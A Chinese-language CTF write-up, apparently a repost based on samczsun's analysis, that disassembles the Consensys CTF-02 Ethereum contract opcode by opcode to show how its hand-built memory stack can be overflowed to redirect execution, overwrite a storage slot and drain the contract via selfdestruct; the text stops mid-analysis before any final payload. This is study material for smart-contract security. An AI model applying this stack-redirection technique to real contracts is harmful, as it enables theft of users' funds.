Consensys CTF-02 栈溢出重定向利用

这篇文章主要介绍了Consensys CTF-02 栈溢出重定向利用 ,文中通过代码以及文档配合进行讲解,很详细,它对在座的每个人的研究和工作具有很经典的参考价值。 如果需要,让我们与区块链资料网一起学习。

https://www.interchains.cc/23800.html

Consensys CTF-02 栈溢出重定向利用是很好的区块链资料,他说明了区块链当中的经典原理,可以给我们提供资料,Consensys CTF-02 栈溢出重定向利用学习起来其实是很简单的,

不多的几个较为抽象的概念也很容易理解,之所以很多人感觉Consensys CTF-02 栈溢出重定向利用比较复杂,一方面是因为大多数的文档没有做到由浅入深地讲解,概念上没有注意先后顺序,给读者的理解带来困难

Consensys CTF-02 栈溢出重定向利用

  • samczsun

这是Consensys 在2019年推出的有奖竞猜系列2, 比之前的CTF-01“以太坊eth沙盒”要难上不少。:smiley:

Consensys CTF-02 栈溢出重定向利用

基于samczsun的解析文章学习

分析原文:

本文都是基于https://samczsun.com/consensys-ctf-2-rop-evm/ 这篇文章进行的分析,如有需要可以参考原文。谢绝转载!!! Consensys CTF-02 栈溢出重定向利用

不允许未经本人同意转载,本文为原创文章

问题描述:

这是Consensys 在2019年推出的有奖竞猜系列2, 比之前的CTF-01“以太坊eth沙盒”要难上不少。这个CTF中跟上篇文章一样也是没有公开源码,甚至于现在Etherscan上都找不到对应的合约。当然他的合约地址在0xefa51bc7aafe33e6f0e4e44d19eab7595f4cca87 。本CTF的要求很简单,利用其合约中提供的一个自毁方法,拿到所有的ETH。是不是听起来很简单呢?:smile:

OPCODE代码复原:

:point_right: 首先是借助于工具,拿到该合约的bytecode码,和机器翻译的solidity代码。https://contract-library.com/contracts/Ethereum/0xEFA51BC7AAFE33E6F0E4E44D19EAB7595F4CCA87

Consensys CTF-02 栈溢出重定向利用

从工具上可以看到,存在5个公开的函数,和两个全局变量:get 占据slot0 和 die 占据slot1。

首先看函数:die()

function die() public payable {      require(msg.sender == _die);     selfdestruct(_die); }

可以看到这应该是我们最后要取得该题解答的函数,只要保证msg.sender == die即可通过selfdestruct(_dit)拿到所有的ETH,从而解答该题。看起来好像很简单的样子哦:laughing:

再看函数:get()

function get() public {      require(msg.sender != _get);     return _get; }

这个get函数应该是用来返回slot0的值的,看起来也很简单:smiley:

在分析函数:set(uint256 varg0)

function set(uint256 varg0) public payable {      0xe8();     v0, v1 = 0xb4();     MEM[MEM[256] + 32] = 836;     MEM[MEM[256] + 32 + 32] = varg0;     MEM[MEM[256] + 32 + 32 + 32] = 0;     STORAGE[MEM[MEM[256] + 32 + 32 + 32]] = MEM[MEM[256] + 32 + 32 + 32 - 32];     MEM[256] = MEM[256] + 32 + 32 + 32 - 32 - 32 - 32 - 32;     MEM[256] = MEM[MEM[256] + 32 + 32 + 32 - 32 - 32 - 32]; }

如果仅仅看翻译过来的solidity代码,可以看到有一个给STORAGE赋值的操作,也许我们可以利用它,来将我们的msg.sender地址赋值给到die

在这里,我们需要分析下OPCODE代码,来接触到本题的核心——手动构建的栈

这里我们将逐行手动标记OPCODE的执行栈空间,来分析该set(uint256)函数. 函数签名为:60fe47b1

首先是函数选择器部分 0x0: PUSH3     0x100000     0x10000 0x4: PUSH1     0x40         0x10000 0x40 0x6: MSTORE                  0x7: PUSH1     0x4          0x4 0x9: CALLDATASIZE           0x24 0xa: LT                     0x0 0xb: PUSH2     0x68         0x0 0x68 0xe: JUMPI                   0xf: PUSH1     0x0          0x0 0x11: CALLDATALOAD          0x60fe47b1... 0x12: PUSH29    0x100000000000000000000000000000000000000000000000000000000     0x60fe47b1... 0x100... 0x30: SWAP1                 0x100.. 0x60fe47b1... 0x31: DIV                   0x60fe47b1 0x32: PUSH4     0xffffffff   0x60fe47b1 0xffffffff 0x37: AND                   0x60fe47b1 0x38: DUP1                  0x60fe47b1 0x60fe47b1 0x39: PUSH4     0x7909947a       0x3e: EQ         0x3f: PUSH2     0x23a 0x42: JUMPI      0x43: DUP1       0x44: PUSH4     0x60fe47b1  0x60fe47b1 0x60fe47b1 0x60fe47b1 0x49: EQ                    0x60fe47b1 0x1 0x4a: PUSH2     0x30f       0x60fe47b1 0x1 0x30f 0x4d: JUMPI                 0x60fe47b1

函数选择器首先是拿到了函数签名,然后与合约中public,external的函数签名进行比对,EQ返回1后,再跳转到对应的函数wrapper中。下面我们看线函数包装器中是怎么样的逻辑

这部分是函数包装器部分,但实际上定义了函数的整个逻辑框图  再没有具体跳进去看每一个函数前,假设函数不影响栈结构 0x30f: JUMPDEST             0x60fe47b1 0x310: PUSH2     0x317      0x60fe47b1 0x317 0x313: PUSH2     0xe8       0x60fe47b1 0x317 0xe8 0x316: JUMP                 0x60fe47b1 0x317 0x317: JUMPDEST             0x60fe47b1 0x318: PUSH2     0x31f      0x60fe47b1 0x31f 0x31b: PUSH2     0xb4       0x60fe47b1 0x31f 0xb4 0x31e: JUMP                 0x60fe47b1 0x31f 0x31f: JUMPDEST             0x60fe47b1 0x320: PUSH2     0x32a      0x60fe47b1 0x32a 0x323: PUSH2     0x344      0x60fe47b1 0x32a 0x344 0x326: PUSH2     0x8c       0x60fe47b1 0x32a 0x344 0x8c 0x329: JUMP                 0x60fe47b1 0x32a 0x344 0x32a: JUMPDEST             0x60fe47b1 0x32b: PUSH2     0x335      0x60fe47b1 0x335 0x32e: PUSH1     0x4        0x60fe47b1 0x335 0x4 0x330: CALLDATALOAD         0x60fe47b1 0x335 Id[4:36] 0x331: PUSH2     0x8c       0x60fe47b1 0x335 Id[4:36] 0x8c 0x334: JUMP                 0x60fe47b1 0x335 Id[4:36] 0x335: JUMPDEST             0x60fe47b1  0x336: PUSH2     0x33f      0x60fe47b1 0x33f 0x339: PUSH1     0x0        0x60fe47b1 0x33f 0x0 0x33b: PUSH2     0x8c       0x60fe47b1 0x33f 0x0 0x8c 0x33e: JUMP                 0x60fe47b1 0x33f 0x0 0x33f: JUMPDEST             0x60fe47b1 0x340: PUSH2     0x2ea      0x60fe47b1 0x2ea 0x343: JUMP                 0x60fe47b1 0x344: JUMPDEST             0x60fe47b1 0x345: PUSH1     0x0         0x347: PUSH1     0x0 0x349: RETURN      => 翻译一下 function set(uint256 value) public nonPayable{     push_stack_frame();     uint redirectTo = 0x344;     push_stack(redirectTo);     uint256 newStackPointer;     assembly{         newStackPointer := calldataload(0x04)     }     push_stack(newStackPointer);     push_stack(0x00);     set_impl(); }
classDiagram       start --|> 0xe8       0xe8 --|> 0xb4       0xb4 --|> 0x8c_0x344       0x8c_0x344 --|> 0x8c_CALLDATALOAD       0x8c_CALLDATALOAD --|> 0x8c_0x00       0x8c_0x00 --|> 0x2ea        class start {         0x30f JUMDEST       }        class 0x8c_0x344{         0x329 IN         0x32A OUT       }       class 0x8c_CALLDATALOAD{         0x331 IN         0x335 OUT       }       class 0x8c_0x00{         0x33E IN         0x33F OUT       }       class 0xb4{         0x31E IN         0x31F OUT       }       class 0xe8{           0x316 IN           0x317 OUT       }       class 0x2ea{           0x343 IN       }

拿到函数wrapper时,先不要具体全部都跳进去看细节,我们先看下整个流程是怎样的,有几处内部调用,以及最后从哪里返回。

首先是0x30f为进入点,先调用0xe8, 然后返回到0x317, 再依次调用0xb4, 返回到0x31f, 再调用0x8c, 带参数0x344,返回到0x32a, 在调用一次0x8c, 带参数为CALLDATALOAD(0x4), 返回到0x335, 再调用0x8c, 带参数0x0, 返回到0x33f, 然后调用0x2ea函数,不确定返回值在哪。通过流程图可以清晰看到基本上是一个顺序调用的关系。接下来要分析每一个函数都在干嘛,作用是啥:cry:

:fish: 首先看0xe8

简单说是判断该函数是否是Payable,如果不是Payable, 则如果函数调用时传送了ETH,流程就会回退。

0xe8: JUMPDEST          0x60fe47b1 0x317 0xe9: CALLVALUE         0x60fe47b1 0x317 0x0 0xea: ISZERO            0x60fe47b1 0x317 0x01 0xeb: PUSH2     0xc1    0x60fe47b1 0x317 0x01 0xc1 0xee: JUMPI             0x60fe47b1 0x317  0xc1: JUMPDEST          0x60fe47b1 0x317 0xc2: JUMP              0x60fe47b1  => 翻译成solidity modifier nonPayable() {     require(msg.value == 0);     _; }

:fish:我们再看0xb4

可以看到其在内部调用了0x8c, 然后返回到0xbf处. 简单说作用是把当前内存地址为100的值放入手动构建的栈里

0xb4: JUMPDEST              0x60fe47b1 0x31f 0xb5: PUSH2     0xbf        0x60fe47b1 0x31f 0xbf 0xb8: PUSH2     0x100       0x60fe47b1 0x31f 0xbf 0x100 0xbb: MLOAD                 0x60fe47b1 0x31f 0xbf M[100] 0xbc: PUSH2     0x8c        0x60fe47b1 0x31f 0xbf M[100] 0x8c 0xbf: JUMPDEST              0x60fe47b1 0x31f 0xbf M[100] 0x8c 0xc0: JUMP                  0x60fe47b1 0x31f 0xbf M[100] 此处调用函数0x8c, 参数为M[100], 函数返回再0xbf处,第二次调用栈如下: 0xbf: JUMPDEST              0x60fe47b1 0x31f 0xc0: JUMP                  0x60fe47b1  => 翻译成solidity function push_stack_frame() private {     uint256 value;     assembly{         value := mload(0x100)     }     push_stack(value) }

:fish:接下来的是0x8c

从上面的分析可以看出,该函数有一个参数,返回值为0. 简单来讲是再内存中手动构建一个栈,每次push一个值到栈顶,同时跟新栈顶指向的内存地址。注意该值是32位长,如果过长就会覆盖栈里的其他元素。这也是要解答这个题目必须理解的一点。

0x8c: JUMPDEST              0x60fe47b1 backpointer value 0x8d: PUSH1     0x20        0x60fe47b1 backpointer value 0x20 0x8f: PUSH2     0x100       0x60fe47b1 backpointer value 0x20 0x100 0x92: MLOAD                 0x60fe47b1 backpointer value 0x20 M[100] 0x93: ADD                   0x60fe47b1 backpointer value M[100]+0x20 0x94: DUP1                  0x60fe47b1 backpointer value M[100]+0x20 M[100]+0x20 0x95: PUSH2     0x100       0x60fe47b1 backpointer value M[100]+0x20 M[100]+0x20 0x100 0x98: MSTORE                0x60fe47b1 backpointer value M[100]+0x20 0x99: MSTORE                0x60fe47b1 backpointer  0x9a: JUMP                  0x60fe47b1  => 翻译一下 function push_stack(uint256 value) private {     uint temp;     assembly{         temp := mload(0x100)         mstore(add(temp, 0x20), value)         mstore(0x100, add(temp, 0x20))     } }

:fish:接下来是0x2ea

这个函数后面的控制流程还不清楚. 可以看到该函数内部有一个关键的OPCODE``: SSTORE, 这是我们最关心的。因为我们需要更改slot1的值,以便于获取该合约的所有Ether。同时我们可以看到再该函数内部,也调用了相当多的函数。简单看我们发现函数调用顺序是 0x2ea -> 0x9b -> 0x9b -> 0xc3. 可以猜测0x9b不需要参数,但返回1个值到栈里,0xc3也不需要参数

0x2ea: JUMPDEST             0x60fe47b1 0x2eb: PUSH1     0x20       0x60fe47b1 0x20 0x2ed: PUSH2     0x100      0x60fe47b1 0x20 0x100 0x2f0: MLOAD                0x60fe47b1 0x20 M[100] 0x2f1: SUB                  0x60fe47b1 M[100]-0x20 0x2f2: MLOAD                0x60fe47b1 M[M[100]-0x20] 0x2f3: PUSH2     0x100      0x60fe47b1 M[M[100]-0x20] 0x100 0x2f6: MLOAD                0x60fe47b1 M[M[100]-0x20] M[100] 0x2f7: MLOAD                0x60fe47b1 M[M[100]-0x20] M[M[100]] 0x2f8: SSTORE               0x60fe47b1 0x2f9: PUSH2     0x300      0x60fe47b1 0x300 0x2fc: PUSH2     0x9b       0x60fe47b1 0x300 0x9b 0x2ff: JUMP                 0x60fe47b1 0x300 0x300: JUMPDEST             0x60fe47b1 returnValue 0x301: POP                  0x60fe47b1 0x302: PUSH2     0x309      0x60fe47b1 0x309 0x305: PUSH2     0x9b       0x60fe47b1 0x309 0x9b 0x308: JUMP                 0x60fe47b1 0x309 0x309: JUMPDEST             0x60fe47b1 returnValue 0x30a: POP                  0x60fe47b1 0x30b: PUSH2     0xc3       0x60fe47b1 0xc3 0x30e: JUMP                 0x60fe47b1 => 翻译一下 function set_impl() private{     uint temp0;     uint temp1     assembly{         temp0 := mload(0x100) //M[100]         temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]         sstore(mload(temp0), temp1)     }     pop_stack();     pop_stack();     pop_stack_frame(); }

:duck: 先整体理解下0x2ea, 它主要将栈顶的值作为键,将栈里第1个元素的值作为值,储存再以太坊eth上。然后将栈里的值弹出来,弹出两个栈里的值,然后弹出栈的Frame。

:fish:先看0x9b函数,

简单看是拿到栈顶的元素,然后将栈的指针向下移动0x20

0x9b: JUMPDEST              0x60fe47b1 backpointer 0x9c: PUSH2     0x100       0x60fe47b1 backpointer 0x100     0x9f: MLOAD                 0x60fe47b1 backpointer M[100] 0xa0: MLOAD                 0x60fe47b1 backpointer M[M[100]] 0xa1: PUSH1     0x20        0x60fe47b1 backpointer M[M[100]] 0x20 0xa3: PUSH2     0x100       0x60fe47b1 backpointer M[M[100]] 0x20 0x100 0xa6: MLOAD                 0x60fe47b1 backpointer M[M[100]] 0x20 M[100] 0xa7: SUB                   0x60fe47b1 backpointer M[M[100]] M[100]-0x20 0xa8: PUSH2     0x100       0x60fe47b1 backpointer M[M[100]] M[100]-0x20 0x100 0xab: MSTORE                0x60fe47b1 backpointer M[M[100]] 0xac: SWAP1                 0x60fe47b1 M[M[100]] backpointer 0xad: JUMP                  0x60fe47b1 M[M[100]]  => 翻译一下 function pop_stack() private returns (uint256) {     uint value;     uint temp;     assembly{         temp := mload(0x100)         value := mload(temp)         mstore(0x100, sub(temp, 0x20))     }     return value; }

:fish:再看0xc3函数,

可以看淡这个函数里面也是调用了多个函数。函数调用顺序为:0xc3 -> 0x9b -> 0x9b -> 0xae -> J(returnValue) 简单来说,弹出两个栈里的值,第一个值作为后面流程重定向的位置,第二个值作为新的STACK的内存起点

0xc3: JUMPDEST              0x60fe47b1 0xc4: PUSH2     0xcb        0x60fe47b1 0xcb 0xc7: PUSH2     0x9b        0x60fe47b1 0xcb 0x9b         0xca: JUMP                  0x60fe47b1 0xcb 0xcb: JUMPDEST              0x60fe47b1 returnValue 0xcc: PUSH2     0xd3        0x60fe47b1 returnValue 0xd3 0xcf: PUSH2     0x9b        0x60fe47b1 returnValue 0xd3 0x9b 0xd2: JUMP                  0x60fe47b1 returnValue 0xd3  0xd3: JUMPDEST              0x60fe47b1 returnValue returnValue2 0xd4: PUSH2     0xdc        0x60fe47b1 returnValue returnValue2 0xdc 0xd7: SWAP1                 0x60fe47b1 returnValue 0xdc returnValue2 0xd8: PUSH2     0xae        0x60fe47b1 returnValue 0xdc returnValue2 0xae 0xdb: JUMP                  0x60fe47b1 returnValue 0xdc returnValue2 0xdc: JUMPDEST              0x60fe47b1 returnValue  0xdd: JUMP                  0x60fe47b1 J(returnValue) 0xde: JUMPDEST    => 翻译一下 function pop_stack_frame() private {     int redirectTo;     int pointer;     redirectTo = pop_stack();     pointer = pop_stack();     newStackPointer(pointer);     assembly {         jump(redirectTo)     } }

:fish:我们看0xae 函数,

这个函数很简单,就是把它的参数赋值到M[100]中,但意义很重大,意义是定义新的STACK的内存起点。因为STack的内存起点就是M[100]

0xae: JUMPDEST              0x60fe47b1 returnValue 0xdc returnValue2 0xaf: PUSH2     0x100       0x60fe47b1 returnValue 0xdc returnValue2 0x100 0xb2: MSTORE                0x60fe47b1 returnValue 0xdc  0xb3: JUMP                  0x60fe47b1 returnValue => 翻译一下 function newStackPointer(uint256 pointer) {     assembly{         mstore(0x100, pointer)     } }

:rainbow:分析到这里,需要我们梳理一下手动构造的栈里到底存了啥?set(uint256 varg0)函数到底干了什么

function set(uint256 value) public nonPayable{     push_stack_frame();     uint redirectTo = 0x344;     push_stack(redirectTo);     push_stack(value);     push_stack(0x00);     set_impl(); } function set_impl() private{     uint temp0;     uint temp1     assembly{         temp0 := mload(0x100) //M[100]         temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]         sstore(mload(temp0), temp1)     }     pop_stack();     pop_stack();     pop_stack_frame(); } function pop_stack_frame() private {     int redirectTo;     int pointer;     redirectTo = pop_stack();     pointer = pop_stack();     newStackPointer(pointer);     assembly {         jump(redirectTo)     } } label redirectTo:      0x344: JUMPDEST       0x345: PUSH1     0x0     0x347: PUSH1     0x0     0x349: RETURN    => 翻译一下 function set(uint256 value) public nonPayable {     assembly{         sstore(0x00, value)     } }

:rainbow_flag: 该函数首先是把frame压到栈里,再压入后面的redirectTo重定向位点压入栈里,再压入栈顶指针,再压入0x00,后面将栈顶的值作为key,栈里顺序1的元素作为值写到以太坊eth中。之后弹出栈顶0x00, 弹出栈顶指针,弹出重定向位点,并保存到redirecTo变量中,再弹出frame,并把frame作为新的栈顶指针创建新的栈,最后跳转到重定向位点。

:honey_pot: 分析蜜汁函数0x7909947a()

可以看到这个函数内部也是调用了很多其他的函数。函数调用顺序为:

0x23a -> 0xde -> 0x8c(0x0) -> 0x8c(0x0) -> 0xb4 -> 0x8c(0x29b) -> 0x8c(90000) -> 0x8c(0x28a) -> 0x8c(size) -> 0x15d

0x23a: JUMPDEST                 0x7909947a  0x23b: PUSH2     0x242          0x7909947a 0x242 0x23e: PUSH2     0xde           0x7909947a 0x242 0x241: JUMP                     0x7909947a 0x242       0x242: JUMPDEST                 0x7909947a 0x243: PUSH2     0x24c          0x7909947a 0x24c 0x246: PUSH1     0x0            0x7909947a 0x24c 0x0 0x248: PUSH2     0x8c           0x7909947a 0x24c 0x0 0x8c 0x24b: JUMP                     0x7909947a 0x24c 0x0 0x24c: JUMPDEST                 0x7909947a 0x24d: PUSH2     0x100          0x7909947a 0x100 0x250: MLOAD                    0x7909947a M[100] 0x251: PUSH2     0x25a          0x7909947a M[100] 0x25a 0x254: PUSH1     0x0            0x7909947a M[100] 0x25a 0x0 0x256: PUSH2     0x8c           0x7909947a M[100] 0x25a 0x0 0x8c 0x259: JUMP                     0x7909947a M[100] 0x25a 0x0 0x25a: JUMPDEST                 0x7909947a M[100] 0x25b: CALLDATASIZE             0x7909947a M[100] size 0x25c: PUSH1     0x44           0x7909947a M[100] size 0x44 0x25e: PUSH3     0x90000        0x7909947a M[100] size 0x44 0x90000 0x262: CALLDATACOPY             0x7909947a M[100] 0x263: PUSH2     0x26a          0x7909947a M[100] 0x26a  0x266: PUSH2     0xb4           0x7909947a M[100] 0x26a 0xb4 0x269: JUMP                     0x7909947a M[100] 0x26a 0x26a: JUMPDEST                 0x7909947a M[100] 0x26b: PUSH2     0x275          0x7909947a M[100] 0x275 0x26e: PUSH2     0x29b          0x7909947a M[100] 0x275 0x29b 0x271: PUSH2     0x8c           0x7909947a M[100] 0x275 0x29b 0x8c 0x274: JUMP                     0x7909947a M[100] 0x275 0x29b 0x275: JUMPDEST                 0x7909947a M[100] 0x276: PUSH2     0x281          0x7909947a M[100] 0x281 0x279: PUSH3     0x90000        0x7909947a M[100] 0x281 0x90000 0x27d: PUSH2     0x8c           0x7909947a M[100] 0x281 0x90000 0x8c 0x280: JUMP                     0x7909947a M[100] 0x281 0x90000 0x281: JUMPDEST                 0x7909947a M[100] 0x282: PUSH2     0x28a          0x7909947a M[100] 0x28a 0x285: DUP2                     0x7909947a M[100] 0x28a topPointer 0x286: PUSH2     0x8c           0x7909947a M[100] 0x28a topPointer 0x8c 0x289: JUMP                     0x7909947a M[100] 0x28a 0x28a 0x28a: JUMPDEST                 0x7909947a M[100] 0x28b: PUSH2     0x296          0x7909947a M[100] 0x296 0x28e: PUSH1     0x44           0x7909947a M[100] 0x296 0x44 0x290: CALLDATASIZE             0x7909947a M[100] 0x296 0x44 size 0x291: SUB                      0x7909947a M[100] 0x296 size-0x44 0x292: PUSH2     0x8c           0x7909947a M[100] 0x296 size-0x44 0x8c 0x295: JUMP                     0x7909947a M[100] 0x296 size-0x44 0x296: JUMPDEST                 0x7909947a M[100] 0x297: PUSH2     0x15d          0x7909947a M[100] 0x15d 0x29a: JUMP                     0x7909947a M[100] 0x29b: JUMPDEST                 0x7909947a M[100]  0x29c: PUSH2     0x2a3          0x7909947a M[100] 0x2a3 0x29f: PUSH2     0xb4           0x7909947a M[100] 0x2a3 0xb4 0x2a2: JUMP                     0x7909947a M[100] 0x2a3 0x2a3: JUMPDEST                 0x7909947a M[100] 0x2a4: PUSH2     0x2ae          0x7909947a M[100] 0x2ae 0x2a7: PUSH2     0x2bc          0x7909947a M[100] 0x2ae 0x2bc 0x2aa: PUSH2     0x8c           0x7909947a M[100] 0x2ae 0x2bc 0x8c 0x2ad: JUMP                     0x7909947a M[100] 0x2ae 0x2bc  0x2ae: JUMPDEST                 0x7909947a M[100] 0x2af: PUSH2     0x2b7          0x7909947a M[100] 0x2b7 0x2b2: DUP2                     0x7909947a M[100] 0x2b7 0x2b7 0x2b3: PUSH2     0x8c           0x7909947a M[100] 0x2b7 0x2b7 0x8c 0x2b6: JUMP                     0x7909947a M[100] 0x2b7 0x2b7 0x2b7: JUMPDEST                 0x7909947a M[100] 0x2b8: PUSH2     0xf3           0x7909947a M[100] 0xf3 0x2bb: JUMP                     0x7909947a M[100]  => 翻译一下 function 0x7909947a() public {     stack_pointer_init();     push_stack(0x0);     uint topPointer;     assembly{         topPointer := mload(0x100)     }     push_stack(0x0);     uint size;     assembly {         size := calldatasize()         calldatacopy(0x90000, 0x44, size)     }     push_stack_frame();     uint return_pointer = 0x29b;     push_stack(return_pointer);     push_stack(0x90000);     push_stack(topPointer);     push_stack(size-0x44);     0x7909947a_impl(); }

:tropical_fish: 首先是0xde

这里给0xde取名叫stack_pointer_init(),原因很简单,因为其作用是初始化内存地址100的值为固定值0x100. 其实作用是初始化内存栈的栈顶。

0xde: JUMPDEST              0x7909947a backPointer  0xdf: PUSH2     0xe6        0x7909947a backPointer 0xe6 0xe2: PUSH2     0x7c        0x7909947a backPointer 0xe6 0x7c 0xe5: JUMP                  0x7909947a backPointer 0xe6 0xe6: JUMPDEST              0x7909947a backPointer  0xe7: JUMP                  0x7909947a  0x7c: JUMPDEST              0x7909947a backPointer 0xe6 0x7d: PUSH2     0x100       0x7909947a backPointer 0xe6 0x100 0x80: PUSH2     0x100       0x7909947a backPointer 0xe6 0x100 0x100 0x83: MSTORE                0x7909947a backPointer 0xe6  0x84: JUMP                  0x7909947a backPointer  => 翻译一下 function stack_pointer_init() private {     assembly{         mstore(0x100, 0x100)     } }

:tropical_fish: 再是0x15d

分析该函数,发现函数内部调用的顺序为:0x15d -> 0x8c(0x0) -> 0x168(循环, 0x1ce跳出循环) -> 0x1e0(循环,0x211跳出循环) -> 0x9b -> 0x9b -> 0x9b -> 0x9b -> 0xc3

0x15d: JUMPDEST                 0x7909947a framePointer 0x15e: PUSH2     0x167          0x7909947a framePointer 0x167 0x161: PUSH1     0x0            0x7909947a framePointer 0x167 0x0 0x163: PUSH2     0x8c           0x7909947a framePointer 0x167 0x0 0x8c 0x166: JUMP                     0x7909947a framePointer 0x167 0x0 0x167: JUMPDEST                 0x7909947a framePointer 0x168: JUMPDEST                  0x169: PUSH1     0x20           0x7909947a framePointer 0x20 0x16b: PUSH2     0x100          0x7909947a framePointer 0x20 0x100 0x16e: MLOAD                    0x7909947a framePointer 0x20 M[100] 0x16f: SUB                      0x7909947a framePointer M[100]-0x20 0x170: MLOAD                    0x7909947a framePointer M[M[100]-0x20] 0x171: PUSH2     0x100          0x7909947a framePointer M[M[100]-0x20] 0x100 0x174: MLOAD                    0x7909947a framePointer M[M[100]-0x20] M[100] 0x175: MLOAD                    0x7909947a framePointer M[M[100]-0x20] M[M[100]] 0x176: SUB                      0x7909947a framePointer M[M[100]]-M[M[100]-0x20] 0x177: ISZERO                   0x7909947a framePointer nonZero 0x178: PUSH2     0x1ce          0x7909947a framePointer nonZero 0x1ce 0x17b: JUMPI                    0x7909947a framePointer  0x17c: PUSH32    0x100000000000000000000000000000000000000000000000000000000000000 0x7909947a framePointer 0x10.. 0x19d: PUSH2     0x100          0x7909947a framePointer 0x10.. 0x100 0x1a0: MLOAD                    0x7909947a framePointer 0x10.. M[100] 0x1a1: MLOAD                    0x7909947a framePointer 0x10.. M[M[100]] 0x1a2: PUSH1     0x60           0x7909947a framePointer 0x10.. M[M[100]] 0x60 0x1a4: PUSH2     0x100          0x7909947a framePointer 0x10.. M[M[100]] 0x60 0x100 0x1a7: MLOAD                    0x7909947a framePointer 0x10.. M[M[100]] 0x60 M[100] 0x1a8: SUB                      0x7909947a framePointer 0x10.. M[M[100]] M[100]-0x60 0x1a9: MLOAD                    0x7909947a framePointer 0x10.. M[M[100]] M[M[100]-0x60] 0x1aa: ADD                      0x7909947a framePointer 0x10.. M[M[100]]+M[M[100]-0x60] 0x1ab: MLOAD                    0x7909947a framePointer 0x10.. M[M[M[100]]+M[M[100]-0x60]] 0x1ac: DIV                      0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. 0x1ad: PUSH2     0x100          0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. 0x100 0x1b0: MLOAD                    0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[100] 0x1b1: MLOAD                    0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x1b2: PUSH1     0x40           0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x40 0x1b4: PUSH2     0x100          0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x40 0x100 0x1b7: MLOAD                    0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x40 M[100] 0x1b8: SUB                      0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] M[100]-0x40 0x1b9: MLOAD            0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] M[M[100]-0x40] 0x1ba: ADD              0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]]+M[M[100]-0x40] 0x1bb: MSTORE8                  0x7909947a framePointer 0x1bc: JUMPDEST                 0x7909947a framePointer 0x1bd: PUSH1     0x1            0x7909947a framePointer 0x1 0x1bf: PUSH2     0x100          0x7909947a framePointer 0x1 0x100 0x1c2: MLOAD                    0x7909947a framePointer 0x1 M[100] 0x1c3: MLOAD                    0x7909947a framePointer 0x1 M[M[100]] 0x1c4: ADD                      0x7909947a framePointer 0x1+M[M[100]] 0x1c5: PUSH2     0x100          0x7909947a framePointer 0x1+M[M[100]] 0x100 0x1c8: MLOAD                    0x7909947a framePointer 0x1+M[M[100]] M[100] 0x1c9: MSTORE                   0x7909947a framePointer 0x1ca: PUSH2     0x168          0x7909947a framePointer 0x168 0x1cd: JUMP                     0x7909947a framePointer 0x1ce: JUMPDEST                 0x7909947a framePointer 0x1cf: PUSH1     0x0            0x7909947a framePointer 0x0 0x1d1: PUSH2     0x100          0x7909947a framePointer 0x0 0x100 0x1d4: MLOAD                    0x7909947a framePointer 0x0 M[100] 0x1d5: MLOAD                    0x7909947a framePointer 0x0 M[M[100]] 0x1d6: PUSH1     0x40           0x7909947a framePointer 0x0 M[M[100]] 0x40 0x1d8: PUSH2     0x100          0x7909947a framePointer 0x0 M[M[100]] 0x40 0x100 0x1db: MLOAD                    0x7909947a framePointer 0x0 M[M[100]] 0x40 M[100] 0x1dc: SUB                      0x7909947a framePointer 0x0 M[M[100]] M[100]-0x40 0x1dd: MLOAD                    0x7909947a framePointer 0x0 M[M[100]] M[M[100]-0x40] 0x1de: ADD                      0x7909947a framePointer 0x0 M[M[100]]+M[M[100]-0x40] 0x1df: MSTORE8                  0x7909947a framePointer 0x1e0: JUMPDEST                 0x7909947a framePointer 0x1e1: PUSH1     0x40           0x7909947a framePointer 0x40 0x1e3: PUSH2     0x100          0x7909947a framePointer 0x40 0x100 0x1e6: MLOAD                    0x7909947a framePointer 0x40 M[100] 0x1e7: MLOAD                    0x7909947a framePointer 0x40 M[M[100]] 0x1e8: MOD                      0x7909947a framePointer M[M[100]]%0x40 0x1e9: ISZERO                   0x7909947a framePointer nonZero 0x1ea: PUSH2     0x211          0x7909947a framePointer nonZero 0x211 0x1ed: JUMPI                    0x7909947a framePointer 0x1ee: PUSH1     0x0            0x7909947a framePointer 0x0 0x1f0: PUSH2     0x100          0x7909947a framePointer 0x0 0x100 0x1f3: MLOAD                    0x7909947a framePointer 0x0 M[100] 0x1f4: MLOAD                    0x7909947a framePointer 0x0 M[M[100]] 0x1f5: PUSH1     0x40           0x7909947a framePointer 0x0 M[M[100]] 0x40 0x1f7: PUSH2     0x100          0x7909947a framePointer 0x0 M[M[100]] 0x40 0x100 0x1fa: MLOAD                    0x7909947a framePointer 0x0 M[M[100]] 0x40 M[100] 0x1fb: SUB                      0x7909947a framePointer 0x0 M[M[100]] M[100]-0x40 0x1fc: MLOAD                    0x7909947a framePointer 0x0 M[M[100]] M[M[100]-0x40] 0x1fd: ADD                      0x7909947a framePointer 0x0 M[M[100]]+M[M[100]-0x40] 0x1fe: MSTORE8                  0x7909947a framePointer 0x1ff: JUMPDEST                 0x7909947a framePointer 0x200: PUSH1     0x1            0x7909947a framePointer 0x1 0x202: PUSH2     0x100          0x7909947a framePointer 0x1 0x100 0x205: MLOAD                    0x7909947a framePointer 0x1 M[100] 0x206: MLOAD                    0x7909947a framePointer 0x1 M[M[100]] 0x207: ADD                      0x7909947a framePointer 0x1+M[M[100]] 0x208: PUSH2     0x100          0x7909947a framePointer 0x1+M[M[100]] 0x100 0x20b: MLOAD                    0x7909947a framePointer 0x1+M[M[100]] M[100] 0x20c: MSTORE                   0x7909947a framePointer 0x20d: PUSH2     0x1e0          0x7909947a framePointer 0x1e0 0x210: JUMP                     0x7909947a framePointer 0x211: JUMPDEST                 0x7909947a framePointer 0x212: PUSH2     0x219          0x7909947a framePointer 0x219 0x215: PUSH2     0x9b           00x7909947a framePointer 0x219 0x9b 0x218: JUMP                     0x7909947a framePointer 0x219 0x219: JUMPDEST                 0x7909947a framePointer returnValue 0x21a: POP                      0x7909947a 